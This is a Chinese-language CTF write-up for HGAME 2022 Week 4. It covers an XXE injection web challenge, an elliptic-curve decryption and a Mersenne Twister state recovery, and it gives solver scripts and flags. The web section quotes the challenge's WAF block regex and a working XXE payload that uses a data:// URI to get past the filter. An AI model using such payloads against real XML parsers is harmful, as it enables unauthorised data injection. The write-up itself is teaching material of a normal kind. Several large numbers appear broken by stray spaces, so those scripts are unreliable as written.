HGAME 2022 Week4 writeup by cl1ng

Web

Comment bar

考点是XXE注入，源码中要注意的是这个地方：

```
    }
    if ($attrs->sender == 'admin' && !preg_match('/admin/i', $str)) {
        $flag = 'hgame{xxxxx}';
        $attrs->content = $flag;
    }
    return $attrs;
}
```

要让`sender`的值是`admin`,并且post发送过去的请求体中不能存在明文`admin`，

```
function waf($str): bool {
    if (preg_match('/file|glob|http|dict|gopher|php|ftp|ssh|phar/i', $str)) {
        return true;
    }
    return false;
}
```

libxml2	PHP	Java	.NET
file	file	http	file
http	http	https	http
ftp	ftp	ftp	https
	php	file	ftp
	compress.zlib	jar	
	compress.bzip2	netdoc	
	data	mailto	
	glob	gopher *	
	phar		

经过对比发现`data伪协议`在`waf函数`中没用ban掉，于是可以用`data伪协议`构造payload:

```
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >
]>

<comment>
  <sender>
    &xxe;
  </sender>
  <content>
    123
  </content>
</comment>
```

admin

hgame{Pr3ud0~prOtQc4l*m33ts_Xx3-!nj3cti0n~!}

Crypto

ECC

用sage+python：

```
from Crypto.Util.number import getPrime
from libnum import n2s

p =
749970215594340659752724316266187207258384730917219366165603590006486518915 07
a =
617390437303328599782364690079486669975105442123623866290620320949253535196 57
b =
878217828184778176098825263164797214909198150136680967719923600024676578273 19
k =
936538742721761075844599820585270816040838711827978162047726445096232710612 31
cipher_left =
682080624021626160092170390343311427862826781076502287617095844787799987347 10
cipher_right =
274539885450023845467069335904325850062404394433125710087918352036601528906 19

E = EllipticCurve(GF(p),[a,b])
c1 =
E(144556136662118995760188351651324381020119882646071465119382497448719649460 84,
 255065825705812897146126404932582998138031575617962473306937681467630357919 42)
c2 =
E(375548711626194567091835091226739296364576222518801992350547345237824838699 31,
 713920555406167365392679609893042870836292885303984745907823663848738144778 06)

m = c1-k*c2
print(m)

plain_left = cipher_left / m[0]
plain_right = cipher_right / m[1]
print('plain_left = ', plain_left)
print('plain_right = ', plain_right)

flag_left = n2s(int(plain_left))
flag_right = n2s(int(plain_right))
print(flag_left + flag_right)
```

PRNG

梅森旋转算法

从结果逆出register，再预测后面的值：

```
from libnum import n2s
import re
def inverse_right(res, shift, bits=32):
```

```
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift
    return tmp

# right shift with mask inverse
def inverse_right_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift & mask
    return tmp

# left shift inverse
def inverse_left(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift
    return tmp

# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift & mask
    return tmp

def recover(y):
    y = inverse_right(y,18)
    y = inverse_left_mask(y,15,0xefc60000)
    y = inverse_left_mask(y,7,0x9d2c5680)
    y = inverse_right(y,11)
    return y&0xffffffff

def extract_number(y):
    y = y ^ y >> 11
    y = y ^ y << 7 & 2636928640
    y = y ^ y << 15 & 4022730752
    y = y ^ y >> 18
    return y&0xffffffff
flag = ''
reg = []
key = []
out = ''''''
cipher = ''''''
for i in range(624):
    reg.append(recover(out[i]))

for i in range(624):
    y = (reg[i] & 0x80000000) + (reg[(i + 1) % 624] & 0x7fffffff)
    reg[i] = reg[(i + 397) % 624] ^ (y >> 1)
    if y % 2:
        reg[i] ^= 0x9908b0df

for i in range(len(cipher)):
    key.append(extract_number(reg[i]))
    plain = cipher[i] ^ key[i]
    flag += str(n2s(int(plain))).strip('b\'')
print(flag)
```